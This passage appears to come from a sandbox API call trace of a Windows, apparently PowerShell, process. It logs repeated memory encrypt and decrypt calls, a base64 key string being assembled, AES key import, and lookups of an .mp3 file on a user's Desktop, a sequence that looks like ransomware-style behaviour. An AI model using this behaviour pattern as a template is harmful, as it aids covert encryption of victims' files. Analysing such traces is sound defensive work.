(param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0174.471] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.471] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0174.472] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0174.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0174.472] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.472] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0174.472] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0174.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0174.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0174.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0174.473] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.473] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0174.473] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0174.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0174.473] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.473] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0174.473] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0174.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0174.474] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.474] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0174.474] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0174.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0174.474] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.474] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0174.474] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0174.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0174.475] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.475] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0174.475] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0174.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0174.475] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.475] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0174.475] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0174.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0174.475] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.476] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0174.476] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0174.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0174.476] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.476] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0174.476] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0174.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0174.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0174.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0174.488] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.489] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0174.489] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.489] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0174.489] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0174.489] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.489] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0174.489] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.489] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0174.489] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0174.489] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.489] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0174.490] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.490] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0174.490] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0174.490] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.490] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0174.490] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.490] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0174.490] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0174.490] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.490] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0174.490] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.491] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0174.491] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0174.491] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.491] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0174.491] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.491] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0174.491] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0174.491] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.491] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0174.491] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.492] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0174.492] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0174.492] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.492] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0174.492] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0174.492] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0174.492] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0174.492] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0174.493] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0174.493] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.493] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0174.493] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.493] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0174.493] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0174.493] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.493] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0174.493] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.493] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0174.493] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0174.493] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.494] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0174.494] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.494] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0174.494] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0174.494] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.494] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0174.494] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.494] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0174.494] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0174.494] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.495] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0174.495] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.495] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0174.495] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0174.495] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.495] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0174.495] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.495] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0174.495] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0174.495] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.496] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0174.496] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.496] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0174.496] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0174.496] SystemFunction041 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.496] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0174.496] SystemFunction040 (in: Memory=0x3c03ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c03ac) returned 0x0 [0174.496] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0174.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0174.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0174.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0174.497] SystemFunction041 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.497] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0174.497] SystemFunction040 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0174.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0174.497] SystemFunction041 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.497] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0174.497] SystemFunction040 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.498] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0174.498] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0174.498] SystemFunction041 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.498] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0174.498] SystemFunction040 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.498] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0174.498] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0174.498] SystemFunction041 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.498] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0174.498] SystemFunction040 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.499] EtwEventActivityIdControl () returned 0x0 [0174.751] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0174.752] SystemFunction041 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0174.752] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0174.752] SystemFunction040 (in: Memory=0x3d9f04, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9f04) returned 0x0 [0175.122] CryptAcquireContextW (in: phProv=0x5a2e610, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e610*=0x374090) returned 1 [0176.461] CryptImportKey (in: hProv=0x374090, pbData=0x2284fa4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea00 | out: phKey=0x5a2ea00*=0x5c68f00) returned 1 [0176.462] CryptContextAddRef (hProv=0x374090, pdwReserved=0x0, dwFlags=0x0) returned 1 [0176.465] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0176.866] EtwEventActivityIdControl () returned 0x0 [0176.866] EtwEventActivityIdControl () returned 0x0 [0176.866] EtwEventActivityIdControl () returned 0x0 [0176.978] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3")) returned 0x20 [0176.979] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3")) returned 0x20 [0176.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0176.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", lpFilePart=0x0) returned 0x4b [0176.982] EtwEventActivityIdControl () returned 0x0 [0177.199] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0177.200] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a2e524, nSize=0xc9 | out: lpBuffer="") returned 0xc8 [0177.200] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2e510, nSize=0xc9 | out: lpBuffer="") returned 0x3a [0177.201] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3e84f8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0177.202] GetEnvironmentVariableW (in: 